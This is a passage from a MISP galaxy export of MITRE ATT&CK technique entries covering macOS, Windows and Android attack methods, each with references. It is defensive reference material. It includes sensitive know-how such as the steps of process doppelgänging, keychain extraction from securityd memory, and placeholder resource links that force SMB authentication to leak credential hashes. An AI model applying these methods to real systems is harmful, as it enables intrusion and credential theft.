Table 4451. Table References

Links
https://attack.mitre.org/techniques/T1517
https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/

Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"*

View relationships graph

Dylib Hijacking - T1157 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004" with estimative-language:likelihood-probability="almost-certain"

Table 4452. Table References

Links
https://attack.mitre.org/techniques/T1157
https://capec.mitre.org/data/definitions/471.html
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Software Discovery - T1518

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: *misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"*

Table 4453. Table References

Links
https://attack.mitre.org/techniques/T1518
https://capec.mitre.org/data/definitions/580.html

Launch Agent - T1159

Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex

Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1159"*

View relationships graph

Launch Agent - T1159 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

Table 4454. Table References

Links
https://attack.mitre.org/techniques/T1159
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Call Control - T1616

Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.

Several permissions may be used to programmatically control phone calls, including:

- `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions)
- `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)
- `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an

outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)

- `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions)
- `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions)
- `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)

When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.

The tag is: *misp-galaxy:mitre-attack-pattern="Call Control - T1616"*

Table 4455. Table References

Links
https://attack.mitre.org/techniques/T1616
https://developer.android.com/reference/android/Manifest.permission
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html

Browser Extensions - T1176

Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.

Previous to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)

Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)

There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176"*

Table 4456. Table References

Links
https://attack.mitre.org/techniques/T1176
https://developer.chrome.com/extensions
https://en.wikipedia.org/wiki/Browser_extension
https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
https://kjaer.io/extension-malware/
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
https://www.xorrior.com/No-Place-Like-Chrome/

Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167"*

View relationships graph

Securityd Memory - T1167 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1555.002" with estimative-language:likelihood-probability="almost-certain"

Table 4457. Table References

Links
http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1167
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186"*

View relationships graph

Process Doppelgänging - T1186 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013" with estimative-language:likelihood-probability="almost-certain"

Table 4458. Table References

Links
https://attack.mitre.org/techniques/T1186
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

User Evasion - T1618

Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary's modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.

While there are many ways this can be accomplished, one method is by using the device's sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.

The tag is: *misp-galaxy:mitre-attack-pattern="User Evasion - T1618"*

Table 4459. Table References

Links
https://attack.mitre.org/techniques/T1618

LSASS Driver - T1177

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"*

View relationships graph

LSASS Driver - T1177 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

Table 4460. Table References

Links
https://attack.mitre.org/techniques/T1177
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/cc961760.aspx
https://technet.microsoft.com/library/dn408187.aspx

Forced Authentication - T1187

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"*

Table 4461. Table References

Links
https://attack.mitre.org/techniques/T1187
https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
https://en.wikipedia.org/wiki/Server_Message_Block
https://github.com/hob0/hashjacking
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
https://www.us-cert.gov/ncas/alerts/TA17-293A

BITS Jobs - T1197

Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"*

Table 4462. Table References

Links
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://attack.mitre.org/techniques/T1197
https://msdn.microsoft.com/library/aa362813.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
https://technet.microsoft.com/library/dd939934.aspx
https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
https://www.secureworks.com/blog/malware-lingers-with-bits
https://www.symantec.com/connect/blogs/malware-update-windows-update

Trusted Relationship - T1199

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)

The tag is: *misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"*

Table 4463. Table References

Links
https://attack.mitre.org/techniques/T1199
https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers

Misattributable credentials - T1322

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322).

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)

The tag is: *misp-galaxy:mitre-attack-pattern="Misattributable credentials - T1322"*

Table 4464. Table References

Links
https://attack.mitre.org/techniques/T1322

Debugger Evasion - T1622

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622"*

Table 4465. Table References

Links
https://attack.mitre.org/techniques/T1622
https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug
https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf
https://github.com/processhacker/processhacker
https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug
https://objective-see.com/blog/blog_0x60.html
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/

Data Encrypted - T1532

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532"*

Table 4466. Table References

Links
https://attack.mitre.org/techniques/T1532

DNS poisoning - T1382

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS poisoning - T1382"*

Table 4467. Table References

Links
https://attack.mitre.org/techniques/T1382

Process Discovery - T1424

On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel's <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery - T1424"*

Table 4468. Table References

Links
https://attack.mitre.org/techniques/T1424
https://code.google.com/p/android/issues/detail?id=205565

Capture Audio - T1429

Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the <code>android.permission.RECORD_AUDIO</code> permission to access the microphone and the

<code>android.permission.CAPTURE_AUDIO_OUTPUT</code> permission to access audio output such as speakers. Android does not allow third-party applications to hold <code>android.permission.CAPTURE_AUDIO_OUTPUT</code>, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.

The tag is: *misp-galaxy:mitre-attack-pattern="Capture Audio - T1429"*

Table 4469. Table References

Links
https://attack.mitre.org/techniques/T1429
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Unsecured Credentials - T1552

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"*

Table 4470. Table References

Links
https://attack.mitre.org/techniques/T1552

Impair Defenses - T1562

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"*

Table 4471. Table References

Links
https://attack.mitre.org/techniques/T1562

Protocol Tunneling - T1572

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)

[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure.

The tag is: *misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572"*

Table 4472. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1572
https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/
https://www.ssh.com/ssh/tunneling

SMS Control - T1582

Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.

This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)

The tag is: *misp-galaxy:mitre-attack-pattern="SMS Control - T1582"*

Table 4473. Table References

Links
https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html
https://android.googlesource.com/platform/packages/providers/TelephonyProvider//7e7c274/src/com/android/providers/telephony/SmsProvider.java[https://android.googlesource.com/platform/packages/providers/TelephonyProvider//7e7c274/src/com/android/providers/telephony/SmsProvider.java]
https://attack.mitre.org/techniques/T1582
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html

Dumpster dive - T1286

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).

Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)

The tag is: *misp-galaxy:mitre-attack-pattern="Dumpster dive - T1286"*

Table 4474. Table References

Links
https://attack.mitre.org/techniques/T1286

Dynamic DNS - T1333

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).

Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333"*

View relationships graph

Dynamic DNS - T1333 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311" with estimative-language:likelihood-probability="almost-certain"

Table 4475. Table References

Links
https://attack.mitre.org/techniques/T1333

Port redirector - T1363

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363).

Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Port redirector - T1363"*

Table 4476. Table References

Links
https://attack.mitre.org/techniques/T1363

Internal Spearphishing - T1534

Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.

There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534"*

Table 4477. Table References

Links
https://attack.mitre.org/techniques/T1534
https://blog.trendmicro.com/phishing-starts-inside/
https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6

Credential pharming - T1374

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

